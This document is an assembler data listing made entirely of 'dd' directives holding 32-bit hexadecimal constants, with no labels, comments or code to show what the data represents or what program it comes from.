dd 0CD34C8CCh, 6000C277h, 8E2717BBh, 7425E218h, 0BC3E4AE4h
dd 897A3823h, 808029B4h, 3BF9CA61h, 0B0A20F5Eh, 0C240F173h
dd 6972F685h, 0C0B4EE0Eh, 906E00D6h, 1DE8A471h, 0DC7DFC2Eh
dd 38BBC5ABh, 57008C0Ah, 1FF00D00h, 0DD3D6580h, 9C78005Fh
dd 61794B34h, 4E091351h, 1D6AFA5h, 56722BA0h, 0A1A01C00h
dd 7423300Ch, 68FF51EDh, 0B8AC81h, 94F6733Dh, 62008886h
dd 0E893EE4Fh, 0FAD04DAh, 2B0C36F9h, 4090E187h, 5D4CFBCCh
dd 79457507h, 5895FA9Eh, 443AC400h, 2EC671B1h, 9FD4BF6Ch
dd 0FB4F00A0h, 9D90FC2Ch, 1E415602h, 40B1E8DFh, 580500h
dd 0F5D17FD3h, 592BAA0Fh, 0F200FB7Bh, 0BF060771h, 1B7ED8Ch
dd 3AC91C85h, 246A902Fh, 0D7484FA8h, 7798128Bh, 90BEDC09h
dd 480106A0h, 9201ECAEh, 41968A59h, 0F1D8FCA6h, 0F9BF0900h
dd 1C6E676Ah, 0BB3A0153h, 0FD7669B8h, 62DC2088h, 0E15D7000h
dd 1B10C114h, 13BF0096h, 0AD5EE802h, 0D079334h, 1936DF82h
dd 31306A20h, 0B1771A6h, 1B94558Eh, 92B30F00h, 9107F750h
dd 47142C5Ah, 988DD480h, 469A00F4h, 0EA4C208Ah, 25FE5CF2h
dd 0DAF31101h, 0A8E635EDh, 392C1EBAh, 0CE710031h, 0F8B23DFDh
dd 81F98600h, 7B0DE763h, 0D80500D1h, 0CE2012AFh, 0F304C843h
dd 2C574F1Bh, 7840A4C7h, 9B0B7Ah, 0B83D3FEDh, 0B217A3C4h
dd 0A6C97202h, 40C2C555h, 378A62h, 0EFD6AD9Ah, 0D740310Dh
dd 0F9DC20FBh, 28C5101h, 2C6AF043h, 961B70h, 23C82D31h
dd 2FFC0D14h, 0CB04FF00h, 0D1EA7B73h, 0F4B30F76h, 7440CFDBh
dd 0EB4675B6h, 0DFF5D507h, 0EDB02BAFh, 0EC5A8C4Eh, 8410242Dh
dd 6B010C66h, 31003970h, 4290EA16h, 2A211541h, 710DC79h
dd 0D161EABh, 7E6AA086h, 0C2002A91h, 95F00BDEh, 20CCABF1h
dd 94380AB0h, 8D3960B9h, 0BED904h, 59E28983h, 881C9E1h
dd 0ACF0F81Ch, 0E51F7700h, 9C2BADh, 6F0F91B7h, 0E2E0661Bh
dd 212E44B2h, 5C1908D4h, 0ADCC2B50h, 0E18903BBh, 0FB6C25D9h
dd 20012970h, 19F5E938h, 0C406730h, 31CDF7E8h, 8988D48Fh
dd 2668D041h, 0F4DC7E14h, 13AB1554h, 92960070h, 8D4E222Ah
dd 2F5B3B3Dh, 0E5CC2800h, 95321BAFh, 21503000h, 0B9F9AC3Ah
dd 4F2526C9h, 71F074Ah, 0F1388099h, 28014A0Fh, 44D851F2h
dd 9050EB49h, 0A8B696h, 0FB94752Eh, 0C53F4ED6h, 0B92A51Dh
dd 0E96C5D40h, 3A1CEBB6h, 98393E17h, 0DB9B6580h, 2A345FF1h
dd 0FE8E4E11h, 0C760A409h, 9BEF3840h, 59E55106h, 1E21DD24h
dd 40EB89A2h, 2726AF74h, 0E0F03A91h, 0EAA04E02h, 40AABB30h
dd 1355800h, 0DACED93h, 0D1DFF7C7h, 0AF8BE8D7h, 9404F92Ah
dd 0E25813Ch, 0A092E8A6h, 96F54705h, 0A02058CDh, 96A7F00h
dd 5AAAA7EAh, 5F801261h, 0E74E21h, 7F75E8A0h, 67F074CFh
dd 7BFEBC01h, 0D9FCEF3Ah, 0FEE40E8h, 0E7AF88C8h, 584BB342h
dd 138EC080h, 120C01FAh, 8868BC38h, 0E3103D8h, 5E23D2AEh
dd 16C06900h, 7C22DE3Fh, 1DC7799Eh, 0BD91AA3Ah, 93015385h
dd 0A1EE80CBh, 4600F674h, 0D5A8D057h, 60DE78h, 5E2A4086h
dd 8E8D89EBh, 349DA507h, 1BB04EB8h, 0D61DF8h, 897FE2C9h
dd 0B46E1A8h, 0F78F2500h, 227DFD14h, 8D7526h, 0C7DB8C1Fh
dd 83DEFC1Bh, 2B52EA00h, 18A2F7A9h, 60106060h, 6BC936AEh
dd 35FFD01h, 0C3B7F5Dh, 0C0F1CBD0h, 0C9383520h, 0A200321Eh
dd 83F61CDDh, 482A82D7h, 0B53FA507h, 56C43603h, 0B0001146h
dd 204028F7h, 382358D3h, 0EF03EDB6h, 22D756BFh, 0E23BA800h
dd 32850B1h, 0FC4B0107h, 0D7706A46h, 0EADFF869h, 0D97D210Bh
dd 71E907AFh, 0B9CE4CC0h, 0F40E30AAh, 4490AD40h, 37B7F917h
dd 18E23D00h, 553A94h, 0B83B02CEh, 5D23470Ah, 56299200h
dd 2EF1C5EEh, 96F28A8h, 0EC580084h, 0EB159EB2h, 955C78BDh
dd 0D3CF0036h, 0D7E924EDh, 0E5D5382Dh, 7AEE4E81h, 0E819052Eh
dd 3913B8FFh, 400AF27h, 981AAB46h, 0D94E1783h, 682E00F9h
dd 10A099F5h, 82CBD600h, 0D026F418h, 1307F2EDh, 0A8DA7Ch
dd 7A2BA970h, 0FF1C32D6h, 0E0C05CFDh, 0CB3AB186h, 0C6CC0004h
dd 0A2B4DFAFh, 0C01CD11Ch, 9880D547h, 4A6B2C59h, 66FF0716h
dd 9039F654h, 0EBAD0C1Eh, 0E01EEB8h, 0B7870BF5h, 43D6E6A9h
dd 0B08EE364h, 4917FFh, 0AA3E2E5Eh, 8C10D1ADh, 0C97AC202h
dd 0C0ECF35Fh, 14EBAC49h, 64972384h, 0C4A18800h, 0F4C13977h
dd 0E622AB00h, 0D44DC914h, 29630126h, 0DE537D16h, 0AACAC8C4h
dd 996939C0h, 238554h, 6708F1E3h, 44098EE4h, 429BD101h
dd 5DA24B91h, 0C2BDCC0h
dd 0C5AE3989h, 4D72617Eh, 0AE98E01h, 64E63A6Bh, 550F9440h
dd 0CD17B52h, 0A175F62Dh, 20E38A68h, 24004F74h, 43DF255Ah
dd 0DA5906h, 0D46EB3B9h, 88B43414h, 0C0D37200h, 73BFF098h
dd 80C40015h, 0D01B873Ah, 0B2002775h, 9B881368h, 637262h
dd 46D2172Eh, 0BEE47F97h, 0B8254A3Fh, 2AB900F6h, 0A5DC4CDDh
dd 36A00046h, 0EAD85EE5h, 0F700F112h, 1163F02Bh, 0E698D93h
dd 0F42167F2h, 6E1DDA60h, 0D43A9BF5h, 0D22B0032h, 0AD0BB166h
dd 70430655h, 84013AFh, 20FA6B30h, 0F0A406h, 3859C494h
dd 13439EB8h, 634D6C00h, 0FA832BC2h, 3DE70E8h, 393CFE85h
dd 181D2809h, 398890Ah, 0D74669h, 0BDFC2133h, 0C06F1DE5h
dd 0DB037B7Eh, 0B327BC6Ah, 48F6B0h, 46E3E77Dh, 0FFC56CF7h
dd 500E8F8h, 0A36856E0h, 71A2F29h, 0DF8C6270h, 0BD60506Ch
dd 7E00E21Dh, 0F9C4B537h, 0F287874h, 6F1CA392h, 0D611EA40h
dd 0F5EA95A4h, 61BF0801h, 165C3D86h, 81A170h, 0C5986C4Fh
dd 8EB7C939h, 66321D00h, 1CF01E4Bh, 0F58201E1h, 0D2274C2Ch
dd 0A440D47Bh, 0C2C7810Eh, 0C0700FCBh, 0F3243BCh, 425C00F0h
dd 0B3A82DB4h, 0B724C0D8h, 80187172h, 0D3F908h, 0B5CDB44Fh
dd 446C9DBCh, 9DB6DD3Ah, 70800CE4h, 3CE2E83Fh, 35B70095h
dd 671BCCEEh, 7F0F2CC2h, 0E05F0D8Bh, 0AA4E1E92h, 0B170880h
dd 0FB0D78A2h, 79C82067h, 6DF81C22h, 9B0181ACh, 0F9FF779Fh
dd 4F854068h, 0B700076Eh, 43A6F7ABh, 0FE4CD442h, 7F5B0117h
dd 21464912h, 3A4D06Dh, 0B3A730C0h, 10900Fh, 6B9EC001h
dd 2C69D5DBh, 17CF5F01h, 0CACCED35h, 7C2785F0h, 0B459C0A7h
dd 0FB93FC4h, 958CDE54h, 0A5ADD4A0h, 0B05FEF03h, 80DFDC8h
dd 8C765D90h, 0A12B1640h, 8BEF104Fh, 21818C3Fh, 0F5A0025h
dd 0C3E1F3C2h, 0C907AA19h, 1A0291A3h, 0FD7B3303h, 872D2082h
dd 67803FCCh, 0B02CA4BFh, 8E8F01D6h, 84EC4D42h, 20FBDC1Fh
dd 0D22DE100h, 0B2E0251Eh, 829100BEh, 47DE1559h, 110037D7h
dd 918636Ah, 2CD19BACh, 0B167AFh, 0CF0F6C4Ah, 88077B04h
dd 5ECD7E74h, 9FB36810h, 0FDF70072h, 0F599D41Dh, 0CC028843h
dd 682EC1EAh, 57B1400Ah, 7DDE00CFh, 0E135E0B4h, 0BE1CAD81h
dd 9600DB6Dh, 0A3067C63h, 0F693B8B1h, 70A2390Ch, 0E9652E87h
dd 80B3B02Fh, 45B06F8Ah, 5A4D0500h, 1F0294DEh, 0CE9A00C6h
dd 6D8C7D1Ch, 0DC0003F6h, 9F5BDAE4h, 3860915Ch, 44801FA0h
dd 3F5FB7C1h, 0F4001485h, 0F2B5FD73h, 17C96A6h, 0FAC079DCh
dd 0ECA2844Dh, 82003F44h, 53147F2Bh, 7271A9h, 0F3CA5286h
dd 6CE5B497h, 4F7AA000h, 44651A76h, 0DE3A0158h, 0DF79C61Ch
dd 0B782D020h, 0A8BF3201h, 2B1EA2E8h, 7EADFB70h, 2E570321h
dd 5EEFEB36h, 0ACA601C0h, 1001E4B8h, 284AE89Eh, 26F1CE9Bh
dd 51614880h, 0DE2A56D3h, 44001D70h, 0DFECD36h, 24326h
dd 32C6B0FBh, 0BB2DD5FDh, 6EAA4A00h, 0E53C970h, 4160002Ch
dd 86BA63ECh, 8100D8B4h, 4E2683E1h, 60B3505Dh, 36ED2062h
dd 0DA3C7A1Ch, 0BE768461h, 0C1808682h, 0D31567h, 0F7970E2Eh
dd 409385EAh, 0D2537507h, 0DEC03072h, 1F62F432h, 4EEA434Fh
dd 60A0E638h, 14B46561h, 803ECC01h, 89090E58h, 0C2FCD0h
dd 6D43602Fh, 0F24E1A30h, 9ECEA500h, 0D11EC183h, 0CA30134h
dd 931CFF10h, 6480EA6Bh, 155BA243h, 11FD1337h, 88B7E700h
dd 0EE2906EAh, 8017672h, 3D216560h, 87B74Dh, 6DB4A915h
dd 0B2D711D6h, 1FF5E00Ch, 218F502Ch, 3900FC44h, 0D8478860h
dd 227C42C6h, 0E4AB00BFh, 7CB53B7h, 0AF03C5FFh, 75384B42h
dd 29F90046h, 5E4C5208h, 6F0A12DAh, 5C3BD4EFh, 3CA465Ch
dd 23B42AA2h, 3789D09Fh, 19170E12h, 45202FDDh, 0C63542A5h
dd 0C9304900h, 17CEDA70h, 0FDD200C3h, 630F1553h, 0A900CFEBh
dd 865526D0h, 1DBCCDAEh, 42E4E62Dh, 6FFD1E1Ch, 40A31461h
dd 0A8DC22D5h, 8AF7B00h, 256790F9h, 0B0BC0019h, 2D359C57h
dd 55B01E65h, 0F385FC00h, 0F6B5BEF5h, 0A51201D8h, 0C6EEB649h
dd 1565D8E7h, 1B634F00h, 89393125h, 5A7100DFh, 0F85BA370h
dd 0E3E6BEEh, 0A25600EFh, 0DB3D8C12h, 7751017Ah, 0C5FA6E2Bh
dd 0E176603Fh, 78EED3Dh, 0CBDA1E2h, 0DE3C5AE0h, 0C15F869h
dd 83167322h, 0B7038E11h, 78A0CF6Dh, 2790C0D5h, 7AC500BFh
dd 94426114h, 0AC98EC2Fh, 0EA6B9700h, 0C66A9695h, 9BB00DEh
dd 0D5476478h, 741E0D45h, 0BA1922h, 2A1290F0h, 0CFD981h
dd 0D3A8040Ch, 19F44942h, 0F8001A7Dh, 396FDCA7h, 756951Bh
dd 5C9EEC9Ch, 0B60D60D9h, 0BC2C3778h, 921EB3C6h, 304B3340h
dd 0EEDFEE4h, 0D67B7738h, 6EDBF740h, 0AD005AB3h, 0EBBB6B82h
dd 4827C5h, 7F7B6034h, 0AA5212A1h, 7500B498h, 0B420ED81h
dd 731A22h, 0E2BC8ACEh, 792E454Eh, 47099500h, 51D8AD3Eh
dd 883500DCh, 3C6A69FFh, 0ED5A27A6h, 93034EACh, 0BDEB8DE4h
dd 38B74D8h, 2A3A1A00h, 1037DBDCh, 41930053h, 0F372FD0Bh
dd 7CE425A9h, 0D7A42700h, 60AC2E9Dh, 5A090017h, 6646F06Dh
dd 0B2003085h, 0F85DC0FCh, 0FBEFCFh, 611123DCh, 60076501h
dd 341C9B1Eh, 15D8A800h, 0D44329h, 276EEB0Fh, 95022211h
dd 5B90C67Bh, 0B19FD07h, 9001238h, 8CDCBAh, 0EEC4DED5h
dd 428B55C1h, 0F6F0C48h, 277A25FFh, 3757C252h, 0CD92F160h
dd 61E907A9h, 0F072BA5Bh, 863CD818h, 0F9F5D501h, 6B842C29h
dd 7463C8h, 83758E2Dh, 0E91C65FCh, 4A95E800h, 0AA26DA08h
dd 19910285h, 92D4A486h, 2271A40h, 0DFCF2F03h, 1D3ABC2Eh
dd 1E70E28h, 6F2C861Ah, 844B0091h, 0DFC61EBFh, 0DB96C0D9h
dd 9370D226h, 0F1D150CFh, 0BD14EF0Ch, 10E99E28h, 0C2D506D6h
dd 63494150h, 2ACB9301h, 5690788Ch, 30317A29h, 6C83509Ch
dd 14977994h, 1FE42C0Ch, 0E5445EA0h, 0F65C2017h, 0C95BFB30h
dd 0D7CD995h, 0B6226C8h, 0F3C6EC79h, 64401F81h, 0C67EC087h
dd 7808E628h, 0A1E6987Fh, 0D2222260h, 0F8EDCE84h, 0FAEF009Bh
dd 6AAD3BDCh, 0FCF74323h, 0D3389A02h, 0F6FC808Bh, 0B692A0A1h
dd 7D0D0F79h, 18C36E4Ah, 3BA04C1Eh, 0A200F8C3h, 0B985C683h
dd 0DD2CD4h, 0BFDA1CE4h, 0B0CCE10h, 303CA900h, 70311289h
dd 0C3C800A8h, 9CA6304h, 0DA02208Ch, 0E865F69Eh, 0BC2CC06Bh
dd 13E4CCh, 867C0FEh, 0A5C2539Dh, 3F98F600h, 64434B89h
dd 5EB704AEh, 80732174h, 0D129C4B8h, 67886C00h, 0FB4D9312h
dd 5B160094h, 0EC61F1A5h, 86003E9Dh, 55323BB9h, 0EC39F26h
dd 81279330h, 8DA5EBC0h, 0DBA02903h, 600DB9Bh, 73A72C55h
dd 791F89h, 36ABCFBAh, 0D3FE2E7Ch, 0CE003076h, 0ECB35958h
dd 0DDEEAEh, 6A44BC0Fh, 0FB611CA7h, 69C12700h, 924EAC20h
dd 0EF040050h, 54B96403h, 0F5003DE3h, 1A5BE114h, 572184h
dd 0A7018C04h, 2A434563h, 8D546600h, 2E8628EAh, 0A68F0053h
dd 0E4F9AFF5h, 0AD0133CEh, 0DA7F27C3h, 994041F0h, 1ABCA79h
dd 0F78A2E6Eh, 9C37C121h, 7AC0B030h, 0F5CBCF3h, 0E1FB0001h
dd 19FC9D97h, 0CA00E43Ch, 0BFAC2718h, 129D67Fh, 0B3624236h
dd 60BD02D5h, 9300E03Eh, 0D8E53989h, 1F31AE1h, 52487704h
dd 0C82C1667h, 0F20053EDh, 0F9077A1Fh, 3FD971h, 1DCC3751h
dd 0E49404FBh, 5B01A21Fh, 0C697F45Fh, 62BF7700h, 35223DAEh
dd 8AE910h, 0F31484F0h, 0A500E528h, 89C076F2h, 12293568h
dd 1E9C891h, 72674440h
dd 0F4A1E9D7h, 0F2EE4FA3h, 372DD00Bh, 0B80E01E2h, 0E1F807D4h
dd 34D756Ah, 206BE382h, 0F1A03ED8h, 841744E4h, 0D101912Fh
dd 0A97CA6E7h, 0C697D8h, 55A23996h, 0A7319A1Fh, 7F155F00h
dd 0BD859B54h, 0B4F40070h, 58282FA9h, 82EEC189h, 4E48D900h
dd 25F52EFCh, 392C00CAh, 5DB9287Dh, 0AC0996D7h, 802A1608h
dd 0D3024BD6h, 0ECCA0066h, 71B56839h, 9D00CD0Eh, 8E25EBE7h
dd 0F5F722h, 4B2ACA6Ah, 0E91805Dh, 41239F09h, 0BF5C045Ch
dd 4320B818h, 0BCDC8B16h, 4288A100h, 0DACEFAh, 59CDB2Fh
dd 0F8C5B714h, 4B00D9E4h, 86A9EB0Ch, 0CD9D22h, 41C32CF0h
dd 48F3951Fh, 44005872h, 16D85ACCh, 65DF25h, 9A43103h
dd 0D973EC3Ah, 0F8A5990Eh, 0FD54281h, 0D8CA404Ch, 0C64B00FFh
dd 0A268D3C0h, 42006B7Ah, 0A70FC9F7h, 1F38AE9h, 0D4E19B13h
dd 0E874257Ch, 0B80F732Fh, 80426D43h, 0F44C86AFh, 0FFCB00DEh
dd 0A1D301CDh, 0F8E08D02h, 0AFFC4600h, 0C7A4C1B2h, 0F2D70027h
dd 76A7DBEh, 3C014C28h, 36FD4F94h, 0FAFDAB39h, 0FA1B7620h
dd 296600A0h, 4E8374EDh, 0F90F68B4h, 67348875h, 0A16E1714h
dd 0B25FE336h, 673AC0h, 0F208947Bh, 12E4AA53h, 2B7D707h
dd 24122EBEh, 7D0460ACh, 0D1DA1F98h, 14103099h, 0A2004ECAh
dd 8642E7FAh, 0C8272Fh, 3D8FDCA3h, 32843795h, 0B8099400h
dd 7D0639ABh, 22CE1E1Dh, 4011DD07h, 0C9BAE50Dh, 1A00A42Fh
dd 16EBAC02h, 0E8C2541h, 0A7542623h, 3900C38Bh, 0CAE1662Dh
dd 49D1E800h, 0A9936F90h, 3B7A47h, 0CDD59821h, 0DE4CEAABh
dd 0C7402300h, 58A4AF55h, 613F0044h, 685333A0h, 190005D8h
dd 0C75E9ED3h, 3E482Bh, 7C60974Dh, 0E6EA1645h, 7005298h
dd 68F378CAh, 148A9ABh, 0A7593B3Dh, 0C83A3437h, 8C004F88h
dd 7D968DDCh, 9B5614h, 0B77490E8h, 7CA1E7F6h, 0CF008CECh
dd 3B315483h, 7BDD65E1h, 420C01AEh, 8B0BA2AFh, 284F8D0h
dd 99783600h, 0C2507BFAh, 0C84C00DDh, 0BC9E25D6h, 0F2E42E07h
dd 969C7303h, 0DBB5048Eh, 92D3B0E5h, 0A1D10091h, 58F226E4h
dd 2100BEBBh, 0C6194266h, 161F56Dh, 59F3F141h, 0FC1A2848h
dd 0BE00BC1Fh, 0FF874C71h, 7AAACBh, 69C65A93h, 0C4DA452Bh
dd 0A62D700h, 13837782h, 207D00D6h, 0FE0E96A5h, 44B0261Dh
dd 0FF785F24h, 99F59400h, 56CB8C5h, 0C184D575h, 6303BE46h
dd 0BDE86088h, 87F5BE00h, 0F48ACEh, 0C28019E3h, 0AD2A5F5Eh
dd 0CABB7D01h, 2E25B699h, 16AD3ECh, 3E6C8984h, 0F0B87E74h
dd 1E00BA36h, 0B6A2E05Bh, 5E3328h, 0DE62F37Dh, 7A702B37h
dd 0FAC23803h, 8881E6h, 14632C20h, 2D291994h, 99FBDB00h
dd 9DEE82C3h, 95B20FB4h, 14005205h, 2F555CA3h, 0E91CAA98h
dd 3B804390h, 7F99F417h, 182E0ADh, 7976E46Fh, 0D6B35310h
dd 57D75B40h, 0E1E85F00h, 0FA1F4618h, 65070068h, 1C4F7313h
dd 0D2008F35h, 800D951Eh, 0D51B85h, 2CFCE119h, 0BE0C1F18h
dd 0AC00F375h, 0F7DC2B57h, 766DCCh, 5EEB69B9h, 0C69960BFh
dd 0F89A700h, 0AE5C4E66h, 5F270090h, 3277E97Eh, 0F7003147h
dd 74FAAF0Dh, 7A7803Eh, 6A30AD12h, 65EE90BDh, 0BF00F2FBh
dd 963AC4FCh, 0D02AB7h, 0BC2875F8h, 0B63F89B0h, 0FA1AEE07h
dd 7C508F3Bh, 0F34ECh, 5F35C44Eh, 0A280523Fh, 705E4800h
dd 0C2CB4A8Fh, 0D75C003Bh, 249B23C8h, 6F005DADh, 0B4504B7Eh
dd 1C9939h, 0F63ADFEFh, 8EAC86Eh, 0B39C0D03h, 42608Dh
dd 0F73D9720h, 21761F26h, 152B6201h, 296F51E4h, 1EC5AFCh
dd 0D60EF38Eh, 60E8EDCFh, 0C40048B4h, 32E28BA4h, 0B718CCh
dd 4417DA79h, 491C3513h, 2E8C1F01h, 0F3BC04DBh, 39936C4h
dd 396FB543h, 0E8E831E6h, 0A8C049AFh, 0EFE0332Bh, 7D728Ah
dd 80377620h, 0D22AEED1h, 3BE7F200h, 0B60FFF04h, 7FCC011Eh
dd 0E519C5E6h, 0A7102034h, 0AA3FA2EEh, 5C8000E3h, 362AF3B5h
dd 9221C85h, 0EBB40084h, 646E270Ch, 0F14BF417h, 0CB350BEBh
dd 10280000h, 0EF00A3A0h, 72534FECh, 0D08815h, 0FDEB25B7h
dd 0DCDE1016h, 0F6F75000h, 21ACB526h, 38AA00EDh, 0AB6B9B8Fh
dd 11004CDBh, 6F2789FAh, 1DE703h, 6A343EE5h, 36616C7Fh
dd 40AFB300h, 0C67145B0h, 0DAF400E4h, 16E635Dh, 0D64C99DCh
dd 82D43060h, 110249h, 0E99EBBD5h, 0BE1BFE03h, 51B64800h
dd 0CA97EF3Eh, 7590C6h, 0DE1C14C4h, 2A1F93B4h, 0D7E55B1Eh
dd 92D33F5Dh, 8F5A2600h, 0D3DEF6h, 936CD2F4h, 0D024EF04h
dd 2341B00h, 0A4B331BBh, 3CDA0026h, 93358D55h, 1217F727h
dd 0E800949Fh, 0AE6631BAh, 9899004Bh, 1325B1E2h, 7E00601Eh
dd 0FDECD0B4h, 0EE3F12Eh, 0EBB7451Fh, 0C5968E7Dh, 10F7C720h
dd 3F73D16Bh, 86B03D00h, 0BC4DE8A6h, 9C7293h, 69DBF68h
dd 91C0295h, 5C72920Fh, 83CB4013h, 61C1ADh, 0AE8BB7DCh
dd 0EAA37D1Bh, 0F839A8FCh, 0E5C701B1h, 50A9C297h, 613CD8h
dd 0B521F570h, 0D17FE8B2h, 4028F4F4h, 400B09Ah, 0F096208Dh
dd 0A327BEh, 0DAF7CEB8h, 9EB68432h, 0D6570B00h, 0FB808CC3h
dd 48C11F4Bh, 0B46ABAh, 0F296DF81h, 3F8EBC31h, 80B8A377h
dd 2072307h, 95DF3C48h, 0D83DF3B0h, 39F720A1h, 5F80E73Ah
dd 0FB141E4h, 0A2142EB8h, 2A0BB1Bh, 0EA5C644h, 80844251h
dd 0BE77D68Ah, 1C870014h, 9CB00692h, 1B3B0D66h, 0DF5C42h
dd 3613D98h, 0BA2BE9Dh, 0B87FB5D8h, 0B940330Eh, 3C8490EDh
dd 43037EC0h, 0F148C5h, 59A71AF0h, 6A66FDCBh, 0EA503600h
dd 0BFED9705h, 0EA65B842h, 8A5403DEh, 0E7E83F1Dh, 0B94CE0E7h
dd 442CB088h, 8205902Ah, 802826CFh, 0FA84B0ADh, 8D570020h
dd 0E9D5A230h, 0DF000E11h, 183735CDh, 0BA25C4h, 8350AEA0h
dd 27746CF9h, 71618105h, 688088D3h, 0ED4E70h, 0D6E9FE62h
dd 3CC5B7F7h, 5F127500h, 0FADDA07h, 0B19025h, 388A442Ah
dd 4F238359h, 2D1AFA0Eh, 675FA06Dh, 0C7BCA8h, 6F35F116h
dd 0DE549F82h, 7E025673h, 0DA5B51B7h, 0CCA44012h, 0F2860048h
dd 3F5EE7D8h, 0C800FDFAh, 413C7C65h, 322198h, 2A8120CAh
dd 7DEC1184h, 0A892FA60h, 0A9DBA1h, 2632C6D2h, 693835FEh
dd 0C7AF0E1Ch, 0A0395980h, 71EF7Dh, 0E0FBA322h, 0A74E64C3h
dd 2B16700h, 0F85E1284h, 0E4DB0905h, 4465573h, 0DF073E00h
dd 0B3C1895Ah, 38A2428Ch, 8E03F9F0h, 0E2758DF1h, 0FC1A0016h
dd 0E412AB86h, 190060D1h, 0D4DC3211h, 0EE5742h, 0D8626823h
dd 7AE74803h, 0FCA8DFA3h, 1025FACFh, 23087C1Ah, 15F980ECh
dd 0FCBC9340h, 0A5BD9002h, 6072B212h, 0CB1974h, 6A419DF3h
dd 0FEB6EF2h, 0D2E6FC2Eh, 4944F802h, 54ACE0C9h, 9FF30B94h
dd 68A33A1Ch, 7C81BB0Ch, 88670E8h, 0ED930700h, 2BC389D2h
dd 0B7650FA6h, 5BE0DDFCh, 0E48603A9h, 2228B103h, 0A125CD35h
dd 0A03A4737h, 0DB1C2422h, 0A2921288h, 0A8E84100h, 612FF9h
dd 4AAF44D2h, 9F6CC258h, 5FA1FA00h, 4F5728D6h, 77001FBh
dd 0E3EA99E9h, 0E40AF443h, 0BA74900h, 93592B6Bh, 446C1995h
dd 0D00410F8h, 0ED00E50Eh, 7B257AC4h, 2E27797h, 7108E1E4h
dd 0BC40CEC0h, 0A44BB6A9h, 0DFCE030h, 70541CE6h, 8305816Dh
dd 0C85BD301h, 0DCFF1DEDh, 761CC568h, 800376Ah, 0C3308943h
dd 2B121749h, 0A3F0024h, 0C0BA3D15h, 5626B600h, 0CC78FAAEh
dd 0D9E73AA5h, 5CD5AC00h, 0C7AD3743h, 5B2FD00h, 0B4B517B6h
dd 87F50015h, 0C48A1091h
dd 340045F8h, 3BCC58F3h, 47DDCAh, 0AB2BF1ECh, 8C4041F7h
dd 92213Bh, 75650CA4h, 98D70257h, 9555CE9h, 97002539h
dd 49F1B48Ch, 2A00B9B0h, 7FBB8809h, 785BE1h, 2D056F94h
dd 38CC69A3h, 0C5E31500h, 0E4DD4611h, 0A9A13EB2h, 0BF67B880h
dd 73B68121h, 273D9F00h, 41F0B84h, 60200E86h, 0A0806EA2h
dd 0B487B3C8h, 9D0023F8h, 0B7C9D91Bh, 0B9E2D98h, 5CF664F5h
dd 603E8E7Dh, 4F1215Fh, 0AC9080h, 0DE348B99h, 3DFB8F67h
dd 3C33A102h, 0E6210C1Ch, 0C5E51740h, 8C38423Bh, 99000E44h
dd 1160C5Fh, 75ECC92Ah, 0C0918421h, 0F1F476B6h, 89B9FB01h
dd 0BF6D5D57h, 0C60E1868h, 1FF2715Ah, 6552E0h, 35D23761h
dd 0F9058DC7h, 0FDA22622h, 0D9DD851Fh, 2B6CFE40h, 58995A2Eh
dd 1B00BF54h, 52CB1409h, 1277A6D7h, 0F01EE0F0h, 1803AB6h
dd 4B754D4h, 0E5F70032h, 87681FEBh, 0BC39B8A9h, 23B507B4h
dd 0F3348A66h, 6806B0D0h, 0C2500092h, 202EBE0Fh, 23B8054Ah
dd 0E084D102h, 0C05659D7h, 0B085BCACh, 0AE2C0AD8h, 0B4A75Fh
dd 0F931610Bh, 9B028B20h, 76E4B3D3h, 0E9B08011h, 7B9B679h
dd 552A7273h, 404BE099h, 0D0E7AEAh, 0C1459669h, 4A574CABh
dd 0FFD9AE4h, 0B0D4BC6Eh, 0DB8BB627h, 23A4D821h, 0FF869C4h
dd 0C06E8ACEh, 8242EA73h, 0D0C4A3FFh, 662180Eh, 98D22E87h
dd 0F67F08C1h, 2C885C01h, 0A6012848h, 0FE8460h, 9A911FD8h
dd 0D405F72h, 0A26FC707h, 6D23AABFh, 6637B8EAh, 0E4DE0236h
dd 1C627C5h, 2F2ED4C8h, 0A7C9B00Fh, 394381E9h, 5EECDF9Dh
dd 6D100015h, 5506F39Ah, 4B3C0BCFh, 242380C7h, 0D9BEA4EAh
dd 0AB201F56h, 70D643CCh, 9B90C363h, 22010613h, 0E9122946h
dd 0C7D86B90h, 0EADF0085h, 6C1926F9h, 0BE00F58Eh, 0C97E685Dh
dd 1E96461Dh, 0C150D429h, 11354B98h, 5951E8D2h, 0D0537C00h
dd 0EC7CE4Fh, 3B47AC2h, 0C91B1024h, 0F7AFD661h, 54F2D056h
dd 29008155h, 529DB3E0h, 0CAE79Bh, 28B604C7h, 0FEB94FCFh
dd 8A355D00h, 739B0FC1h, 8B6E5CE6h, 3FAF3700h, 0CAF5A28Dh
dd 351F21F0h, 73008A52h, 0CFE1E810h, 7EEF00F3h, 9C05C2BBh
dd 3F00A065h, 46D987D2h, 0F8760740h, 9613073Ch, 32B22984h
dd 0FC40B07Eh, 0F7582662h, 5B7100A0h, 0ECB81B36h, 522400F6h
dd 58AF21BDh, 59009342h, 6BC7914Dh, 19D3A5h, 0AE6795Dh
dd 553840DAh, 2BECC201h, 7F169D12h, 24DD4C20h, 50FCE413h
dd 73008340h, 0B0BF02F9h, 3CD879FAh, 0E69EAFF2h, 980AC023h
dd 0DF2C6FD3h, 0AD1FBA0Bh, 0BE688173h, 27E584D6h, 0B75F8h
dd 4DFE3AB2h, 77030746h, 10B83679h, 2C197F26h, 4222AC0h
dd 7EBB028Bh, 72AE14C4h, 51EDC840h, 0D002984Ah, 60A7F66Fh
dd 166A7118h, 5EA26D9Fh, 1BAB809Ah, 203DB752h, 1014474h
dd 9A84B495h, 3460F787h, 1CDF77B2h, 839CAD12h, 3174ECA2h
dd 0FC8E3AB1h, 6500E9EFh, 0D9431E17h, 3B4D30C6h, 0A380FFE8h
dd 0B547AE2Eh, 9C035B79h, 0DA89BCA2h, 0AB27A0D4h, 8EE600F6h
dd 9EDB028Bh, 140072A4h, 4EF13D05h, 0E926CAh, 0FAE2386Eh
dd 593683BEh, 8E024200h, 0C5FE2D7Ch, 0CE891CB8h, 86807E85h
dd 153A11ADh, 1B2C1F18h, 1000C65h, 68D162C8h, 2A5500A8h
dd 0B773E617h, 7900BB21h, 857D46A4h, 0FAFEF80h, 63F207E3h
dd 0B76115A3h, 308FA0CFh, 0C72495C1h, 0F0003FA8h, 0C1B7236h
dd 742400F7h, 0A9D99BDDh, 20B76A7h, 0C73D89EBh, 5BD87000h
dd 7618A084h, 3DC0E9F1h, 835D03C5h, 0B70BBB05h, 5F31DBB8h
dd 0FFD51500h, 6BF68D0Eh, 449702DEh, 0AD4108F2h, 46870440h
